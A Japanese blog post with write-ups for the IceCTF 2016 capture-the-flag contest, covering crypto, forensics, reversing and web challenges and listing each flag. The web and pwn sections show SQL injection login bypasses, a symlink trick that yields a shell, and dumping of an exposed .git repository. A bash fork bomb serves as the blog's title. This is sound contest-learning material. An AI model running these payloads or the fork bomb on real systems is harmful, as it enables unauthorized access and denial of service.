$ :(){ :|:& };:

読者です 読者をやめる 読者になる 読者になる

$ :(){ :|:& };:

なめこうどん

IceCTF 2016 Write-up

IceCTF(Online CTF)に参加してきた

他の進捗に追われ全然時間とれなかったので解けるやつだけ、終わる数日前くらいに適当に解いた。

結果、中途半端なことになった。1000pちょいくらい。次こそは、ちゃんと時間とって解きたい........。言い訳みたいなので。

ぼっちなのでCTFチームとかに誘ってくれたら泣いて喜びます。



Hello World! (Misc) - 1pt

FLAG:IceCTF{h3l10_wr0ld}

Spotlight (Web) - 10pt

飛ばされた先がHTML5 Canvasのいい感じな何かだったがコンソールみたらあった

FLAG:IceCTF{5tup1d_d3v5_w1th_th31r_l095}

All your Base are belong to us (Misc) - 15pt

txtにある2進数を文字列に戻すだけ

Rubyで書いた

str = "01001001 01100011 01100101 01000011 01010100 01000110 01111011 01100001 01101100 00110001 01011111
01101101 01111001 01011111 01100010 01100001 01110011 01100101 01110011 01011111 01100001 01110010
01100101 01011111 01111001 01101111 01110101 01110010 01110011 01011111 01100001 01101110 01100100
01011111 01100001 01101100 01101100 01011111 01111001 00110000 01110101 01110010 01011111 01100010
01100001 01110011 01100101 01110011 01011111 01100001 01110010 01100101 01011111 01101101 01101001
01101110 01100101 01111101"

p str.split("\n").each {|el| el.split(" ").each{|e| print e.to_i(2).chr}}

# => IceCTF{al1_my_bases_are_yours_and_all_y0ur_bases_are_mine}

FLAG:IceCTF{al1_my_bases_are_yours_and_all_y0ur_bases_are_mine}

Rotated! (Cryptography) - 20pt

$ echo 'VprPGS{jnvg_bar_cyhf_1_vf_3?}' | tr 'V-ZA-Up-za-o' 'I-ZA-Hc-za-b'
IceCTF{wait_one_plus_1_is_3?}

trがちょっと汚い

FLAG:IceCTF{wait_one_plus_1_is_3?}

Move Along (Web) - 30 pt

アクセスすると本当に画像があるHTMLしかないのだが、おいてある画像のpathが/move_along/nothing-to-see-here.jpgだったので/move_alongにアクセスしたら

/move_along/0f76da769d67e021518f05b552406ff6/secret.jpgあたりに何かがあるので行ったら旗だった。

FLAG:IceCTF{tH3_c4t_15_Ou7_oF_THe_b49}

ねこかわいい

f:id:taiyoslime:20160827205617j:plain

Substituted (Cryptography) - 30pt

Lw!

Gyzvecy ke WvyVKT!

W'zz by reso dsbdkwksky tzjq teo kly ujr. Teo keujr, gy joy dksurwmq bjdwv vorakeqojalr jmu wkd jaazwvjkwemd. Vorakeqojalr ljd j zemq lwdkeor, jzklesql gwkl kly juxymk et vecaskyod wk ljd qekkym oyjzzr vecazwvjkyu. Decy dwcazy ezu vwalyod joy kly Vjydjo vwalyo, kly Xwqymyoy vwalyo, kly dsbdkwkskwem vwalyo, glwvl wd klwd emy, jmu de em. Jzcedk jzz et klydy vwalyod joy yjdwzr boeiym keujr gwkl kly lyza et vecaskyod. Decy myg ymvorakwem cykleud joy JYD, kly vsooymk dkjmujou teo ymvorakwem, jzemq gwkl ODJ. Vorakeqojalr wd j xjdk twyzu jmu wd xyor wmkyoydkwmq klesql. De iwvi bjvi, oyju sa em decy veez vwalyod jmu ljxy tsm!

El jmu teo reso oyveoud cr mjcy wd WvyVKT{jzgjrd_zwdkym_ke_reso_dsbdkwksky_tzjqd}.

単一換字式暗号ぽい。

とりあえず、WvyVKT=IceCTFだったり、Gyzvecy keWelcome toのような気がする、とかW'zzWIなことは解っているいるので、I'◯◯となるのはI'llしか当てはまらないな、等のことを考えながら人力で頑張る。

復号化したものはこちら

Hi!

Welcome to IceCTF!

I'll be your substitute flag for the day. For today, we are studying basic cryptography and its applications. Cryptography has a long history, although with the advent of computers it has gotten really complicated. Some simple old ciphers are the Caesar cipher, the Vigenere cipher, the substitution cipher, which is this one, and so on. Almost all of these ciphers are easily broken today with the help of computers. Some new encryption methods are AES, the current standard for encryption, along with RSA. Cryptography is a vast field and is very interesting though. So kick back, read up on some cool ciphers and have fun!

Oh and for your records my name is IceCTF{always_listen_to_your_substitute_flags}.

FLAG:IceCTF{always_listen_to_your_substitute_flags}

IRC I (Misc) - 35pt

IRCクライアント(使ったのはirssi)とかでglitch.is:6667に繋いだら、チャンネルのコメントのとこに旗書いてあった。

FLAG:IceCTF{pL3AsE_D0n7_5h4re_fL495_JUsT_doNT}

Alien Message (Cryptography) - 40pt

alien lettersでggったら下のFuturama Alien Alphabet Oneというフォントがでてきた

http://www.fonts2u.com/futurama-alien-alphabet-one.font

これやんけ.....

表と照らしあわせて旗出てきた

FLAG:IceCTF{good_n3wz_3veryon3_1_l1k3_fu7ur4ma_4nd_th3ir_4maz1ng_3as7er_39g5}

これCryptoなの.....

Time Traveler (Forensics) - 45pt

archive.orgでtime-traveler.icec.tf調べたら今年の6/1での記録が残ってた。

見たら旗書いてあった。

FLAG:IceCTF{Th3y'11_n3v4r_f1|\|d_m4h_fl3g_1n_th3_p45t}

Scavenger Hunt (Misc) - 50pt

いろいろ調べていたところGitHubのIceCTF orgにicec.tfのランディングページのソースが上がってた。 https://github.com/IceCTF/ctf-landing

リポジトリ内検索でIceCTFとかで検索したところ、/icectf/templates/sponsors.html内に、

...
         <div class="card-image waves-effect waves-block waves-light black">
           <img class="activator" src="/static/images/logos/syndis.png" alt="IceCTF{Y0u_c4n7_533_ME_iM_h1Din9}">
         </div>
....

とあり旗があった。

実際のhttps://icec.tf/sponsorsにもちゃんとある。

f:id:taiyoslime:20160827205608p:plain

FLAG:IceCTF{Y0u_c4n7_533_ME_iM_h1Din9}

Complacent (Reconnaissance) - 40pt

HTTPSで繋がるんだけどこの接続ではプライバシーが保護されませんChromeお決まりのやつがでてくる。

サーバー証明書みたらおもいっきり書いてあった

f:id:taiyoslime:20160827205633p:plain

FLAG:IceCTF{this_1nformation_wasnt_h1dd3n_at_a11}

Hidden in Plain Sight (ReverseEngineering) - 45pt

調べたら32-bitのELFだった。

objdumpして眺めてたら

....
804851b:        b0 49                   mov    al,0x49
804851d:        b0 63                   mov    al,0x63
804851f:        b0 65                   mov    al,0x65
8048521:        b0 43                   mov    al,0x43
8048523:        b0 54                   mov    al,0x54
8048525:        b0 46                   mov    al,0x46
8048527:        b0 7b                   mov    al,0x7b
8048529:        b0 6c                   mov    al,0x6c
804852b:        b0 6f                   mov    al,0x6f
804852d:        b0 6f                   mov    al,0x6f
804852f:        b0 6b                   mov    al,0x6b
8048531:        b0 5f                   mov    al,0x5f
8048533:        b0 6d                   mov    al,0x6d
8048535:        b0 6f                   mov    al,0x6f
8048537:        b0 6d                   mov    al,0x6d
8048539:        b0 5f                   mov    al,0x5f
804853b:        b0 49                   mov    al,0x49
804853d:        b0 5f                   mov    al,0x5f
804853f:        b0 66                   mov    al,0x66
8048541:        b0 6f                   mov    al,0x6f
8048543:        b0 75                   mov    al,0x75
8048545:        b0 6e                   mov    al,0x6e
8048547:        b0 64                   mov    al,0x64
8048549:        b0 5f                   mov    al,0x5f
804854b:        b0 69                   mov    al,0x69
804854d:        b0 74                   mov    al,0x74
804854f:        b0 7d                   mov    al,0x7d
....

ていう明らかに怪しいとこを発見したので、文字列にしたら旗だった

FLAG:IceCTF{look_mom_I_found_it}

Toke (Web) - 45pt

とりあえずRegisterでユーザーとパスワードを登録してログインしてみると、toke.vuln.icec.tfからsessionjwt_tokenCookieが降ってくる。

jwt_tokenについてはこれ:https://jwt.io

例えば

username=>ponponpainpassword=>ponponpainの時、

jwt_token => eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoicG9ucG9ucGFpbiIsImZsYWciOiJJY2VDVEZ7alc3X3QwSzNuc180UmVfbk9fcDE0Q0VfZk9SXzUzQ3JFN1N9In0.ng6_isibsJjhVawjyltJbQQqhCDEeBbHw6C9518a2-I

という感じになるが、.で区切って前からbase64でデコードして

$ echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -D
{"typ":"JWT","alg":"HS256"}

$ echo eyJ1c2VyIjoicG9ucG9ucGFpbiIsImZsYWciOiJJY2VDVEZ7alc3X3QwSzNuc180UmVfbk9fcDE0Q0VfZk9SXzUzQ3JFN1N9In0 |  base64 -D
{"user":"ponponpain","flag":"IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}

FLAG:IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}

Flag Storage (Web) - 50pt

リンク先に行ったらログインフォームがあった。 問題文に、WikipediaのSQLiのページが貼り付けてあったのでSQLiすることは間違いないみたいだけど

ブラウザ側で

....
var updatePassword = function(e){
    var sha = new jsSHA("SHA-256", "TEXT");
    sha.update($(this).val());
    $("#password").val(sha.getHash("HEX"));
};
$("#password_plain").on("change", updatePassword);
$("#form").on("submit", updatePassword);
....

みたいののが動いているし、usernamepassword_plainpassword(password_plainにSHA-256をかけたhidden要素)の3つをpostしてるのが分かった。

あとは

Username => ' OR 1=1 -- Password => ' OR 1=1 --

とか適当にフォームに入れたあとBurpとかで見てあげると、password => e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 になってるので、Paramsタブで' OR 1=1 --に変えてリクエスト送ったところ旗取れた

FLAG:IceCTF{why_would_you_even_do_anything_client_side}

RSA? (Cryptograhpy) - 50pt

N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd

e=0x1

c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d

e = 0x1 っていう結局暗号化できてないアレ

FLAG:IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}

Demo (Pwn) - 55pt

ソースコードはこんな感じ

$ cat demo.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <libgen.h>
#include <string.h>
void give_shell() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    if(strncmp(basename(getenv("_")), "icesh", 6) == 0){
        give_shell();
    }
    else {
        printf("I'm sorry, your free trial has ended.\n");
    }
    return 0;
}

strncmpは文字列比較の関数。

とりあえず簡単に言えばbasename(getenv("_")) の先頭が"icesh"であればよい。

getenvは環境変数を取得する、basenameはshellのbasenameとほぼ変わらない。

$_ は特別な変数で、スクリプトのファイル名かそれの引数が次々と入っていく(口での説明がうまくできない....)

なのでそれをうまく使い、シンボリックリンクをはって$_に入るものを調整する

$ mkdir /tmp/taiyoslime && cd /tmp/taiyoslime
$ ln -s /home/demo/demo ./icesh && ./icesh

という感じで権限いただけたので

$ cat /home/demo/flag.txt
IceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}

FLAG:IceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}

Thor's a hacker now (Misc) - 55pt

txtが降ってきた

$ head thor.txt
00000000: 4c5a 4950 01b3 007f b61b edf0 8440 58e3  LZIP.........@X.
00000010: 91de 1027 5861 8a67 4282 46a4 92f9 4cad  ...'Xa.gB.F...L.
00000020: 2d5d 14eb 3099 2c31 01c2 d13a 74d2 c620  -]..0.,1...:t..
00000030: de27 3a8f fa92 0644 5468 2d02 01fa 24bb  .':....DTh-...$.
.....

これをとりあえずバイナリとして書き出さないといけない。LZIPぽいけど。

Rubyを適当に書いて、outへと書き出す。

fin = File::open("thor.txt","r+")
fout = File::open("out","w+")
fin.each_line{ |l| l.split(" ")[1..8].each{ |e| fout.write([e].pack("H*"))}}
$ file out
out: lzip compressed data, version: 1

やっぱり

$ lzip -d out

$ file out.out
out.out: JPEG image data, JFIF standard 1.01

画像開いたら旗あった。

FLAG:IceCTF{h3XduMp1N9_l1K3_A_r341_B14Ckh47}

Exposed! (Web) - 60pt

John is pretty happy with himself, he just made his first website! He used all the hip and cool systems, like NginX, PHP and Git! Everyone is so happy for him, but can you get him to give you the flag?

NginxとPHPとGitが使われてるのだろうか

とりあえずサイトに飛んだところ特に何もなかったので/robots.txtにアクセスしたところ

User-Agent: *
Disallow: /.git
Disallow: /flag.php

という記述を見つける。 まさかとは思ったが念のため/flag.phpにアクセスしたころ空のpタグがあったため、ここに旗入ってたのかなと考えた /.git/は403帰ってきたけど/.git/HEADだとちゃんとref: refs/heads/masterとか落ちてくるので確かにあるっぽい

$ git clone http://exposed.vuln.icec.tf/.git/して現状のファイル眺めてると、flag.php

....
<p>
    <?php
        echo @file_get_contents('flag.txt');
        ?>
</p>
....

というのを発見するのでログ眺める

$ git log
....

commit 5ea13398f975b53ff30b7ea162b2ec6897a48c68
Author: James Sigurðarson <jamiees2@gmail.com>
Date:   Wed Aug 10 21:45:11 2016 +0000

   remove flag

commit 584ae8349fe51e2cb25e11347003c11e92f88c74
Author: James Sigurðarson <jamiees2@gmail.com>
Date:   Wed Aug 10 21:41:33 2016 +0000

    flag route

....
$ git checkout 584ae8349fe51e2cb25e11347003c11e92f88c74

$ cat flag.txt
IceCTF{this_isnt_the_flag_either}

違うんかい

git diffで少しずつ遡っていったら3,4コミット前のindex.htmlに直書きされてた

FLAG:IceCTF{secure_y0ur_g1t_repos_pe0ple}

早とちりは良くない

Miners! (web) - 65pt

ログインフォームがあるのだが、コードもあった

.....
$username = $_POST["username"];
$password = $_POST["password"];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($con, $query);
if (mysqli_num_rows($result) !== 1) {
  echo "<h1>Login failed.</h1>";
} else {
  echo "<h1>Logged in!</h1>";
.....

' union select 1, 2, 3 #とかでいい感じなもの投げるだけ。

FLAG:IceCTF{the_miners_union_is_a_strong_one}

Kitty (Web) - 70pt

adminのパスワードのハッシュc7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1aだけ与えられている。

これが判ればログイン可能ぽいのでSHA-256でdecryptしてみたところVo83*となった。

これはフォームのValidationにある[A-Z][a-z][0-9][0-9][\?%$@#\^\*\(\)\[\];:]とも一致するので合ってるだろうということで

username: "admin", password: "Vo83*"な感じで入力したところ旗降ってきた

FLAG:IceCTF{i_guess_hashing_isnt_everything_in_this_world}

Corrupt Transmission (Forensics) - 50pt

画像ファイルっぽいのだが「ファイルが破損して開けない」とのこと。

$ hexdump -C corrupt.png | head
00000000  90 50 4e 47 0e 1a 0a 1b  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 01 f4 00 00 01 98  08 06 00 00 00 b4 e0 10  |................|
00000020  ab 00 00 00 06 62 4b 47  44 00 ff 00 ff 00 ff a0  |.....bKGD.......|
00000030  bd a7 93 00 00 00 09 70  48 59 73 00 00 0b 13 00  |.......pHYs.....|
00000040  00 0b 13 01 00 9a 9c 18  00 00 00 07 74 49 4d 45  |............tIME|
00000050  07 e0 06 14 03 14 08 a8  98 65 74 00 00 20 00 49  |.........et.. .I|
00000060  44 41 54 78 da 54 bc d9  8e 6c 59 7a df f7 5b f3  |DATx.T...lYz..[.|
00000070  1e 62 ca e9 4c 55 5d 5d  d5 cd a6 9a 14 4d 19 be  |.b..LU]].....M..|
00000080  90 61 5a 80 75 c5 27 31  a0 2b df fb 45 64 3f 85  |.aZ.u.'1.+..Ed?.|
00000090  21 08 b0 61 03 32 0c d8  20 4c 08 54 d3 12 48 91  |!..a.2.. L.T..H.|

もしpngファイルならばマジックナンバーがまずおかしいのだが、背景色のbKGDピクセル物理サイズのpHYs、最終更新日時のtIME等を見るとpngで間違いないようだ。

まず先頭の4bitを 90 50 4e 47 => 89 50 4E 47 に直す

かつ、0e 1a 0a 1bDOS <=> UNIXの行末検知だったりがあるがこれも壊れているので

0e 1a 0a 1b => 0d 0a 1a 0a に直す

これらのヘッダの直後にIHDRが来るはずであり、00 00 00 0d 49 48 44 52....と続いているのでこれは問題ない。

修正後のファイル

$ hexdump -C corrupt.png | head
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
......

$ file corrupt.png
corrupt.png: PNG image data, 500 x 408, 8-bit/color RGBA, non-interlaced

以上の修正で画像ファイルが無事開けた。 画像に旗書いてあった

FLAG:IceCTF{t1s_but_4_5cr4tch}

Vape Nation (Stego) - 50pt

問題文にGo Green!とあるので、stegsolveで見てあげたらでてきた

FLAG:IceCTF{420_CuR35_c4NCEr}

Blue Monday (Misc) - 60 pt

$ file blue_monday
blue_monday: Standard MIDI data (format 1) using 1 track at 1/220

fileかけたらStandard MIDIであることが判明したのでとりあえずGarage Bandで見てみる

f:id:taiyoslime:20160827205705p:plain

お世辞でもいい曲とは言えない

直感で音の高さが文字コードと対応しててフラグになるっぽいのでさっさとSMFのデータ読む

$ hexdump blue_monday_ff0973317ee7c2df4225f994ad49bb4075546b9f20eb22bbc636be910f628bfd.midi
0000000 4d 54 68 64 00 00 00 06 00 01 00 01 00 dc 4d 54
0000010 72 6b 00 00 01 be 00 90 49 64 81 5c 80 49 00 00
0000020 90 63 64 81 5c 80 63 00 00 90 65 64 81 5c 80 65
0000030 00 00 90 43 64 81 5c 80 43 00 00 90 54 64 81 5c
0000040 80 54 00 00 90 46 64 81 5c 80 46 00 00 90 7b 64
0000050 81 5c 80 7b 00 00 90 48 64 81 5c 80 48 00 00 90
0000060 41 64 81 5c 80 41 00 00 90 63 64 81 5c 80 63 00
0000070 00 90 6b 64 81 5c 80 6b 00 00 90 31 64 81 5c 80
0000080 31 00 00 90 6e 64 81 5c 80 6e 00 00 90 39 64 81
0000090 5c 80 39 00 00 90 5f 64 81 5c 80 5f 00 00 90 6d
00000a0 64 81 5c 80 6d 00 00 90 55 64 81 5c 80 55 00 00
00000b0 90 35 64 81 5c 80 35 00 00 90 49 64 81 5c 80 49
00000c0 00 00 90 63 64 81 5c 80 63 00 00 90 5f 64 81 5c
00000d0 80 5f 00 00 90 57 64 81 5c 80 57 00 00 90 31 64
00000e0 81 5c 80 31 00 00 90 37 64 81 5c 80 37 00 00 90
00000f0 68 64 81 5c 80 68 00 00 90 5f 64 81 5c 80 5f 00
0000100 00 90 6d 64 81 5c 80 6d 00 00 90 49 64 81 5c 80
0000110 49 00 00 90 44 64 81 5c 80 44 00 00 90 31 64 81
0000120 5c 80 31 00 00 90 35 64 81 5c 80 35 00 00 90 5f
0000130 64 81 5c 80 5f 00 00 90 4c 64 81 5c 80 4c 00 00
0000140 90 33 64 81 5c 80 33 00 00 90 74 64 81 5c 80 74
0000150 00 00 90 35 64 81 5c 80 35 00 00 90 5f 64 81 5c
0000160 80 5f 00 00 90 48 64 81 5c 80 48 00 00 90 34 64
0000170 81 5c 80 34 00 00 90 76 64 81 5c 80 76 00 00 90
0000180 45 64 81 5c 80 45 00 00 90 5f 64 81 5c 80 5f 00
0000190 00 90 61 64 81 5c 80 61 00 00 90 5f 64 81 5c 80
00001a0 5f 00 00 90 72 64 81 5c 80 72 00 00 90 34 64 81
00001b0 5c 80 34 00 00 90 76 64 81 5c 80 76 00 00 90 33
00001c0 64 81 5c 80 33 00 00 90 7d 64 81 5c 80 7d 00 87
00001d0 68 ff 2f 00
00001d4

ヘッダセクションは4d 54 68 64 00 00 00 06 00 01 00 01 00 dcのみで 4d 54 68 64 => フォーマット識別子 00 00 00 06 => データ長 00 01 => フォーマットタイプ 00 01 => トラック数 00 dc => 時間単位(4分あたりの分解能)

を表している

直後の4d 54 72 6bが1データセクションの始まりで、最後のff 2f 00がトラックの終わりを表す。

今回は一つしかトラックがないので1セットしか存在しない。

4d 54 72 6bの直後の00 00 01 beはデータ長を表してる。

以降の構成は基本

00 90 49 64 => 待ち時間,ノートオンのコマンド(0x90)},{ノートナンバー},音量(ベロシティ値) 81 5c 80 49 00 => 待ち時間(可変長),ノートオフコマンド(0x80),ノートナンバー,音量(ベロシティ値) となっており、

綺麗に並べると

00 90 49 64 81 5c 80 49 00
00 90 63 64 81 5c 80 63 00
00 90 65 64 81 5c 80 65 00
00 90 43 64 81 5c 80 43 00
00 90 54 64 81 5c 80 54 00
00 90 46 64 81 5c 80 46 00
00 90 7b 64 81 5c 80 7b 00
00 90 48 64 81 5c 80 48 00
00 90 41 64 81 5c 80 41 00
00 90 63 64 81 5c 80 63 00
00 90 6b 64 81 5c 80 6b 00
00 90 31 64 81 5c 80 31 00
00 90 6e 64 81 5c 80 6e 00
00 90 39 64 81 5c 80 39 00
00 90 5f 64 81 5c 80 5f 00
00 90 6d 64 81 5c 80 6d 00
00 90 55 64 81 5c 80 55 00
00 90 35 64 81 5c 80 35 00
00 90 49 64 81 5c 80 49 00
00 90 63 64 81 5c 80 63 00
00 90 5f 64 81 5c 80 5f 00
00 90 57 64 81 5c 80 57 00
00 90 31 64 81 5c 80 31 00
00 90 37 64 81 5c 80 37 00
00 90 68 64 81 5c 80 68 00
00 90 5f 64 81 5c 80 5f 00
00 90 6d 64 81 5c 80 6d 00
00 90 49 64 81 5c 80 49 00
00 90 44 64 81 5c 80 44 00
00 90 31 64 81 5c 80 31 00
00 90 35 64 81 5c 80 35 00
00 90 5f 64 81 5c 80 5f 00
00 90 4c 64 81 5c 80 4c 00
00 90 33 64 81 5c 80 33 00
00 90 74 64 81 5c 80 74 00
00 90 35 64 81 5c 80 35 00
00 90 5f 64 81 5c 80 5f 00
00 90 48 64 81 5c 80 48 00
00 90 34 64 81 5c 80 34 00
00 90 76 64 81 5c 80 76 00
00 90 45 64 81 5c 80 45 00
00 90 5f 64 81 5c 80 5f 00
00 90 61 64 81 5c 80 61 00
00 90 5f 64 81 5c 80 5f 00
00 90 72 64 81 5c 80 72 00
00 90 34 64 81 5c 80 34 00
00 90 76 64 81 5c 80 76 00
00 90 33 64 81 5c 80 33 00
00 90 7d 64 81 5c 80 7d 00
87 68

となる。最後の87 68は待ち時間 全部等間隔でおいてあるので綺麗

あとは、上の文字列をstrとして

p str.split("\n").reduce { |ans,el| ans += el.split(" ")[2].to_i(base=16).chr}
# => "IceCTF{HAck1n9_mU5Ic_W17h_mID15_L3t5_H4vE_a_r4v3}"

FLAG:IceCTF{HAck1n9_mU5Ic_W17h_mID15_L3t5_H4vE_a_r4v3}

A Strong Feeling (ReverseEngineering) - 80 pt

64bitのELFが落ちてきた。 Reverse問だからと思って何も考えずアセンブラ読んで解いた

重要っぽいとこだけ抜き出すと

.....
  400ccb:   89 85 6c fe ff ff       mov    DWORD PTR [rbp-0x194],eax
  400cd1:   0f 84 33 0e 00 00       je     401b0a <__gmon_start__@plt+0x165a>
  400cd7:   e9 0c 04 00 00          jmp    4010e8 <__gmon_start__@plt+0xc38>
  400cdc:   8b 85 5c ff ff ff       mov    eax,DWORD PTR [rbp-0xa4]
  400ce2:   2d bc 19 6e ae          sub    eax,0xae6e19bc
  400ce7:   89 85 68 fe ff ff       mov    DWORD PTR [rbp-0x198],eax
  400ced:   0f 84 fe 0a 00 00       je     4017f1 <__gmon_start__@plt+0x1341>
  400cf3:   e9 f0 03 00 00          jmp    4010e8 <__gmon_start__@plt+0xc38>
  400cf8:

  4010fa:   81 fa 49 00 00 00       cmp    edx,0x49
  401100:   0f 45 c1                cmovne eax,ecx
  401103:   89 85 68 ff ff ff       mov    DWORD PTR [rbp-0x98],eax
  401109:   e9 58 0c 00 00          jmp    401d66 <__gmon_start__@plt+0x18b6>
  40110e:   48 bf f4 1d 40 00 00    movabs rdi,0x401df4
  401115:   00 00 00
  401118:   48 63 85 6c ff ff ff    movsxd rax,DWORD PTR [rbp-0x94]
  40111f:   48 8b 34 c5 f0 2c 60    mov    rsi,QWORD PTR [rax*8+0x602cf0]
  401126:   00
  401127:   b0 00                   mov    al,0x0
  401129:   e8 52 f3 ff ff          call   400480 <printf@plt>
  40112e:   c7 45 f8 4e 00 00 00    mov    DWORD PTR [rbp-0x8],0x4e
  401135:   c7 85 68 ff ff ff f2    mov    DWORD PTR [rbp-0x98],0xd14064f2
  40113c:   64 40 d1
  40113f:   89 85 d4 fd ff ff       mov    DWORD PTR [rbp-0x22c],eax
  401145:   e9 1c 0c 00 00          jmp    401d66 <__gmon_start__@plt+0x18b6>
  40114a:   b8 53 a5 50 f0          mov    eax,0xf050a553
  40114f:   b9 a2 96 4c 29          mov    ecx,0x294c96a2
  401154:   31 d2                   xor    edx,edx
  401156:   8b b5 6c ff ff ff       mov    esi,DWORD PTR [rbp-0x94]
  40115c:   81 ea 01 00 00 00       sub    edx,0x1
  401162:   89 f7                   mov    edi,esi
  401164:   29 d7                   sub    edi,edx
  401166:   89 bd 6c ff ff ff       mov    DWORD PTR [rbp-0x94],edi
  40116c:   4c 63 c6                movsxd r8,esi
  40116f:   42 0f be 94 05 70 ff    movsx  edx,BYTE PTR [rbp+r8*1-0x90]
  401176:   ff ff
  401178:   81 fa 63 00 00 00       cmp    edx,0x63
  40117e:   0f 45 c1                cmovne eax,ecx
  401181:   89 85 68 ff ff ff       mov    DWORD PTR [rbp-0x98],eax
  401187:   e9 da 0b 00 00          jmp    401d66 <__gmon_start__@plt+0x18b6>
  .......

こんな感じの文字列比較で条件分岐をしているやつが無限に続くだけなのでうまく抽出して旗取った。

FLAG:IceCTF{pip_install_angr}

あ.....これもしかしてangrでシンボリック実行していい感じに条件の文字列を炙り出せってことだったの........ ......

感想とか

次こそは